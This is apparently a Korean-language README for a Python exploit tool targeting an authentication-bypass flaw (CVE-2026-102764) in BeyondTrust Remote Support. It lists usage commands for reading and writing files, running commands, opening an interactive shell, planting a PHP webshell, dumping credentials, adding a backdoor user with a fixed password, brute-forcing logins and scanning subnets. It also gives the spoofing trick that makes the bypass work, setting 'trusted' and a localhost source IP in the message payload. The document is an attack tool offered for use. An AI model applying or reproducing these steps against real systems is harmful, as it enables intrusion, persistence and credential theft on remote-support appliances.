BeyondTrust Remote Support의 CVE-2026-102764에 대한 Python 익스플로잇: 내부 서비스 메시지를 스푸핑하여 인증을 우회한 후 파일을 읽고 쓰고, 명령을 실행하며, 자격 증명을 덤프합니다.
스푸핑을 통한 인증 우회 취약점
CVSS v3.1: 9.8 (CRITICAL) | CWE-290 | 활발한 익스플로잇 (CISA BOD 26-04)
BeyondTrust Remote Support ≤ v26.2.3
BeyondTrust Remote Support의 내부 구성 요소는 메시지의 출처를 적절히 검증하지 않습니다. 공격자는 내부 서비스 메시지를 스푸핑하여 인증을 우회하고 어플라이언스에서 파일 작업(읽기, 쓰기, 삭제, 목록 조회)을 수행하고 명령을 실행하는 등의 작업을 할 수 있습니다.
# Quick vulnerability test
python3 exploit.py <target_ip> test
# Enumerate files
python3 exploit.py <target_ip> list /
# Read a file
python3 exploit.py <target_ip> read /opt/beyondtrust/rbs/config/config.xml
# Write a file
python3 exploit.py <target_ip> write /tmp/test.txt "Hello World"
# Execute command
python3 exploit.py <target_ip> exec "id"
# Interactive shell
python3 exploit.py <target_ip> shell
# Upload file
python3 exploit.py <target_ip> upload /remote/path /local/path
# Download file
python3 exploit.py <target_ip> download /remote/path /local/path
# Create webshell
python3 exploit.py <target_ip> webshell
# Gather info
python3 exploit.py <target_ip> info
# Dump credentials
python3 exploit.py <target_ip> creds
# Add backdoor user
python3 exploit.py <target_ip> add-user rbs-backdoor Backdoor123!
# Brute force credentials
python3 exploit.py <target_ip> brute-force
# List active sessions
python3 exploit.py <target_ip> sessions
# Scan critical files
python3 exploit.py <target_ip> scan-files
| 플래그 | 설명 |
|---|---|
--port, -p | 대상 포트 (기본값: 자동 감지) |
--no-ssl | SSL/TLS 비활성화 |
--timeout, -t | 연결 타임아웃 (초) |
--retries, -r | 재시도 횟수 |
--service, -s | 스푸핑할 서비스 이름 |
--verbose, -v | 상세 출력 |
--json | JSON 출력 |
--scan | 서브넷 스캔 |
--output, -o | 출력 파일 |
python3 exploit.py --scan 192.168.1.0/24
이 익스플로잇은 BeyondTrust 내부 프로토콜 헤더를 포함한 스푸핑된 바이너리 메시지를 구성하여 동작합니다:
+--------+--------+------+----------+--------+---------+
| Magic | Type | Flag | Length | SID | Checksum|
| 6 bytes| 1 byte | 1 byte| 4 bytes| 4 bytes| 4 bytes |
+--------+--------+------+----------+--------+---------+
| Payload (JSON) |
+--------------------------------------------------------------------+
핵심 트릭은 JSON 페이로드에서 trusted: true와 source_ip: "127.0.0.1"을 설정하는 것으로, 이를 통해 어플라이언스가 내부 서비스에서 온 메시지로 수락하도록 속입니다.
접근 권한을 획득한 후, 내장 모듈을 사용하여 다음을 수행할 수 있습니다:
/opt/beyondtrust/rbs/webapp/shell.php에 PHP 웹셸 생성